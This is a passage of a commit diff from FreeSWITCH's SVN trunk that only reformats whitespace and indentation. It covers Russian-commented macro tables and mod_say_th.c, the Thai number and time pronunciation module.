</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -202,7 +202,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_21 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -234,14 +234,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_25 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_26 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -268,7 +268,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_31 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -300,14 +300,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_35 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_36 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -334,7 +334,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_41 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -366,14 +366,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_45 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_46 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -400,7 +400,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_51 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -432,14 +432,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_55 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_56 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -466,7 +466,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_61 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -498,14 +498,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_65 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_66 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -532,7 +532,7 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_61 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -564,14 +564,14 @@
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_65 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_66 {\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="cx">         {&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;},\
</span><span class="lines">@@ -587,5 +587,3 @@
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><span class="cx"> 
</span><del>-
-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_thmod_say_thc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -103,11 +103,11 @@
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>-    char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx"> 
</span><del>-        for ( ; p &amp;&amp; *p; p++) {
</del><ins>+        for (; p &amp;&amp; *p; p++) {
</ins><span class="cx">                 if ((*p &gt;= '0' &amp;&amp; *p &lt;= '9')) {
</span><span class="cx">                         *q++ = *p;
</span><span class="cx">                 } else if (*p != ',') {
</span><span class="lines">@@ -127,7 +127,7 @@
</span><span class="cx"> static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>-    char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -151,8 +151,8 @@
</span><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         char sbuf[13] = &quot;&quot;;
</span><del>-    char digits[11];
-    int i;
</del><ins>+        char digits[11];
+        int i;
</ins><span class="cx"> 
</span><span class="cx">         if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) &gt; 9) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="lines">@@ -163,123 +163,108 @@
</span><span class="cx"> 
</span><span class="cx">         if (in != 0) {
</span><span class="cx">                 snprintf(digits, sizeof(digits), &quot;%10.10d&quot;, in);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Say: %s \n&quot;,digits);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Say: %s \n&quot;, digits);
</ins><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                         say_file(&quot;digits/ordinal.wav&quot;);
</span><span class="cx">                         /* Fall through */
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-            for (i = 0;  i &lt;= 9;  i++)
-            {
-                switch (i)
-                {
-                case 0:
-                    /* Billions column */
-                    if (digits[i] != '0')
-                    {
-                        if (digits[i] != '1')
-                                    say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                  say_file(&quot;digits/10.wav&quot;);
-                    }
-                    break;
-                case 1:
-                    /* Hundred millions columns */
-                    if (digits[i] != '0')
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                    if (memcmp (digits, &quot;00&quot;, 2) != 0)
-                                  say_file(&quot;digits/100000000.wav&quot;);
-                    break;
-                case 2:
-                    /* ten Millions column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                   say_file(&quot;digits/10000000.wav&quot;);
-                    }
-                    break;
-                case 3:
-                    /* Millions column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                   say_file(&quot;digits/1000000.wav&quot;);
-                    }
-                    break;
-                case 4:
-                    /* Hundred thousands column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        if (memcmp (digits + 2, &quot;00000&quot;, 4) != 0)
-                                       say_file(&quot;digits/100000.wav&quot;);
-                    }
</del><ins>+                        for (i = 0; i &lt;= 9; i++) {
+                                switch (i) {
+                                case 0:
+                                        /* Billions column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1')
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/10.wav&quot;);
+                                        }
+                                        break;
+                                case 1:
+                                        /* Hundred millions columns */
+                                        if (digits[i] != '0')
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                        if (memcmp(digits, &quot;00&quot;, 2) != 0)
+                                                say_file(&quot;digits/100000000.wav&quot;);
+                                        break;
+                                case 2:
+                                        /* ten Millions column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/10000000.wav&quot;);
+                                        }
+                                        break;
+                                case 3:
+                                        /* Millions column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/1000000.wav&quot;);
+                                        }
+                                        break;
+                                case 4:
+                                        /* Hundred thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                if (memcmp(digits + 2, &quot;00000&quot;, 4) != 0)
+                                                        say_file(&quot;digits/100000.wav&quot;);
+                                        }
</ins><span class="cx"> 
</span><del>-                    break;
-        
-                case 5:
-                    /* Ten thousands column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        if (memcmp (digits + 2, &quot;0000&quot;, 4) != 0)
-                                       say_file(&quot;digits/10000.wav&quot;);
-                    }
-                    break;
-                case 6:
-                    /* Ten millions or thousands column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                  say_file(&quot;digits/1000.wav&quot;);
-                    }
-                    break;
-                case 7:
-                    /* hundreds column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                   say_file(&quot;digits/100.wav&quot;);
-                    }
-                    break;
-                case 8:
-                    /* Tens column */
-                    if (digits[i] != '0')
-                    {
-                        if (digits[i] == '2')
-                        {
-                                       say_file(&quot;digits/20.wav&quot;);
-                                break;
-                        }
-                        if (digits[i] == '1')
-                        {
-                                       say_file(&quot;digits/10.wav&quot;);
-                                break;
-                        }
-                        if (digits[i] != '1'
-                            ||
-                            memcmp (digits, &quot;00000000&quot;, 8) != 0)
-                        {
-                                       say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        }
-                    }
-                    if (digits[8] != '0')
-                                   say_file(&quot;digits/10.wav&quot;);
-                    break;
-                case 9:
-                    /* Units column */
-                    if (digits[9] == '1'){
-                            if (digits[8] != '0'){
-                                   say_file(&quot;digits/ed.wav&quot;, digits[i]);
-                            }else{        
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                            }        
-                            break;
-                    }
-                    if (digits[9] != '0')
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                    break;
-                }
-            }
</del><ins>+                                        break;
+
+                                case 5:
+                                        /* Ten thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                if (memcmp(digits + 2, &quot;0000&quot;, 4) != 0)
+                                                        say_file(&quot;digits/10000.wav&quot;);
+                                        }
+                                        break;
+                                case 6:
+                                        /* Ten millions or thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/1000.wav&quot;);
+                                        }
+                                        break;
+                                case 7:
+                                        /* hundreds column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/100.wav&quot;);
+                                        }
+                                        break;
+                                case 8:
+                                        /* Tens column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] == '2') {
+                                                        say_file(&quot;digits/20.wav&quot;);
+                                                        break;
+                                                }
+                                                if (digits[i] == '1') {
+                                                        say_file(&quot;digits/10.wav&quot;);
+                                                        break;
+                                                }
+                                                if (digits[i] != '1' || memcmp(digits, &quot;00000000&quot;, 8) != 0) {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                        }
+                                        if (digits[8] != '0')
+                                                say_file(&quot;digits/10.wav&quot;);
+                                        break;
+                                case 9:
+                                        /* Units column */
+                                        if (digits[9] == '1') {
+                                                if (digits[8] != '0') {
+                                                        say_file(&quot;digits/ed.wav&quot;, digits[i]);
+                                                } else {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                                break;
+                                        }
+                                        if (digits[9] != '0')
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                        break;
+                                }
+                        }
</ins><span class="cx">                         break;
</span><span class="cx">                 case SSM_ITERATED:
</span><span class="cx">                         {
</span><span class="lines">@@ -338,10 +323,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t th_say_time(switch_core_session_t *session,
</span><del>-                                                                   char *tosay,
-                                                                   switch_say_type_t type,
-                                                                   switch_say_method_t method,
-                                                                   switch_input_args_t *args)
</del><ins>+                                                                   char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int32_t t;
</span><span class="cx">         switch_time_t target = 0;
</span><span class="lines">@@ -351,7 +333,7 @@
</span><span class="cx">         switch_time_exp_t tm2;
</span><span class="cx"> #endif
</span><span class="cx">         uint8_t say_date = 0;
</span><del>-    uint8_t say_time = 0;
</del><ins>+        uint8_t say_time = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -397,16 +379,16 @@
</span><span class="cx">                 if (hours) {
</span><span class="cx">                         if (hours == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/hours.wav&quot;);
</span><span class="cx">                 }
</span><span class="cx">                 if (minutes) {
</span><span class="cx">                         if (minutes == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(minutes, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(minutes, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/minute.wav&quot;);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -419,12 +401,12 @@
</span><span class="cx">                 if (seconds) {
</span><span class="cx">                         if (seconds == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/seconds.wav&quot;);
</span><span class="cx">                 } else {
</span><del>-                        if (hours  ||  minutes) {
</del><ins>+                        if (hours || minutes) {
</ins><span class="cx">                                 say_file(&quot;digits/0.wav&quot;);
</span><span class="cx">                                 say_file(&quot;time/second.wav&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -441,8 +423,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SST_CURRENT_DATE_TIME:
</span><del>-                say_date =
-                say_time = 1;
</del><ins>+                say_date = say_time = 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case SST_CURRENT_DATE:
</span><span class="cx">                 say_date = 1;
</span><span class="lines">@@ -455,7 +436,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (say_date) {
</span><del>-        say_num(tm.tm_year + 1900, SSM_ITERATED);
</del><ins>+                say_num(tm.tm_year + 1900, SSM_ITERATED);
</ins><span class="cx">                 say_file(&quot;time/year.wav&quot;);
</span><span class="cx">                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
</span><span class="cx">                 say_file(&quot;time/month.wav&quot;);
</span><span class="lines">@@ -464,52 +445,39 @@
</span><span class="cx">                 say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
</span><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-        tm = *localtime(&amp;then);
</del><ins>+                tm = *localtime(&amp;then);
</ins><span class="cx"> 
</span><del>-        this_morning = switch_micro_time_now();
-            switch_time_exp_lt(&amp;tm2, this_morning);
-        tm2-&gt;tm_hour = 0;
-        tm2-&gt;tm_min = 0;
-        tm2-&gt;tm_sec = 0;
-        this_morning = mktime(tm2);
</del><ins>+                this_morning = switch_micro_time_now();
+                switch_time_exp_lt(&amp;tm2, this_morning);
+                tm2-&gt;tm_hour = 0;
+                tm2-&gt;tm_min = 0;
+                tm2-&gt;tm_sec = 0;
